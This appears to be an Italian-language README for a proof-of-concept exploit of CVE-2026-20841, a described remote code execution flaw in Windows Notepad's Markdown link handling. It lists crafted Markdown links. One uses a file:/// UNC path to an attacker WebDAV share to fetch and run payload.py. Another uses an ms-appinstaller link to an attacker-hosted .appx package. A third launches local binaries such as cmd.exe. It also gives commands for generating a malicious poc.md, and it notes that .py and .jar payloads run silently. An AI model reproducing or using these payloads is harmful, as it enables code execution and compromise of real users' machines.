atiilla/cve-2026-20841Proof-of-concept exploit per CVE-2026-20841, una RCE di Windows Notepad tramite link markdown. Genera file .md appositamente creati per attivare payload remoti, sideloading di app o esecuzione di binari locali.
PoC per una vulnerabilità di esecuzione remota di codice nel renderer Markdown del Blocco note di Windows. Il motore Markdown non limita i protocolli URL, consentendo l'attivazione di gestori di protocollo arbitrari tramite link cliccabili.
file:///)[click](file:///\\attacker@5005\DavWWWRoot\payload.py)
Il protocollo file:/// risolve percorsi UNC remoti. Collega un payload e Windows lo recupererà ed eseguirà al clic.
ms-appinstaller://)[click](ms-appinstaller://?source=https://evil/xxx.appx)
Apre l'Installer di app con un pacchetto .appx/.msix fornito dall'attaccante.
file://)[click](file://C:/windows/system32/cmd.exe)
Avvia qualsiasi eseguibile già presente sul disco — cmd.exe, powershell.exe, mshta.exe, ecc.
Entrambi gli script generano un file poc.md con un link appositamente creato nella directory corrente.
node poc.js <host> <port> <payload/path>
python poc.py <host> <port> <payload/path>
# esempio
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md
Payload di test in payloads/.
.exe, .lnk, .vbs e simili attivano un avviso di sicurezza di Windows indipendentemente dal comportamento del Blocco note..py e .jar vengono eseguiti silenziosamente se Python o Java sono installati sul target.Stai al sicuro!